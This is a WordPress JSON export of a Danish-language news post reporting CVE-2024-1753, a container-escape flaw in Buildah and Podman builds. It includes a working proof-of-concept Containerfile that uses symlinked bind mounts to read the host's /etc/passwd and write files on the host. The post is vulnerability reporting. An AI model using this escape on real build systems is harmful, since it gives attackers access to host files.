{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"S\u00e5rbarhed i Buildah og Podman, der muligg\u00f8r omg\u00e5else af containerisolering.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

I Buildah- og Podman-pakkerne er der opdaget en s\u00e5rbarhed (CVE-2024-1753), der muligg\u00f8r fuld adgang til v\u00e6rtsmilj\u00f8ets filsystem under opbygningen af en container, der k\u00f8rer med root-rettigheder. P\u00e5 systemer med aktiveret SELinux er adgangen til v\u00e6rtsfilsystemet begr\u00e6nset til l\u00e6sning. En l\u00f8sning er i \u00f8jeblikket tilg\u00e6ngelig som en patch, som netop er blevet accepteret i Buildah-kildekoden. <\/p>\n

Sikkerhedss\u00e5rbarheden opst\u00e5r, fordi argumentet med den oprindelige katalog (parameteren 'source=') ikke kontrolleres for eksistens i det prim\u00e6re filsystem, n\u00e5r der udf\u00f8res montering af filsystemkomponenter via kommandoen 'mount --bind' under opbygningen i RUN-fasen. En konfigurationsfil til Containerfile, der er manipuleret af en ondsindet akt\u00f8r, kan bruge et containerimage, hvor det oprindelige katalog til montering er defineret som en symbolsk link til det prim\u00e6re filsystem. I s\u00e5 fald vil montering f\u00f8re til, at det prim\u00e6re filsystem fra v\u00e6rtens milj\u00f8 monteres ind i containeren, hvilket giver fuld adgang til v\u00e6rtens filsystem i RUN-fasen og muligg\u00f8r udtr\u00e6den af containeren under opbygningen med kommandoerne 'buildah build' eller 'podman build'. <\/p>\n

Eksempel p\u00e5 en ondsindet Containerfile, hvis opbygning med kommandoen 'podman build -f ~\/Containerfile .' vil resultere i visning af indholdet i \/etc\/passwd og oprettelse af filerne \/BIND_BREAKEOUT og \/etc\/BIND_BREAKOUT2 i v\u00e6rtens milj\u00f8: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo 'ls container root' RUN ls -l \/ RUN echo 'Med udnyttelse vises v\u00e6rts root, ikke containerens root, og opretter \/BIND_BREAKOUT i \/ p\u00e5 v\u00e6rten' RUN --mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo 'Med udnyttelse vises v\u00e6rts \/etc\/passwd, ikke containerens, og opretter \/BIND_BREAKOUT2 i \/etc p\u00e5 v\u00e6rten' RUN --mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Kilde: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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[…]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47S\u00e5rbarhed i Buildah og Podman, der muligg\u00f8r omg\u00e5else af containerisolationen | ProHoster","description":"I Buildah- og Podman-pakkerne er der opdaget en s\u00e5rbarhed (CVE-2024-1753), der muligg\u00f8r fuld adgang til v\u00e6rtsmilj\u00f8ets filsystem under opbygningen af en container, der k\u00f8rer med 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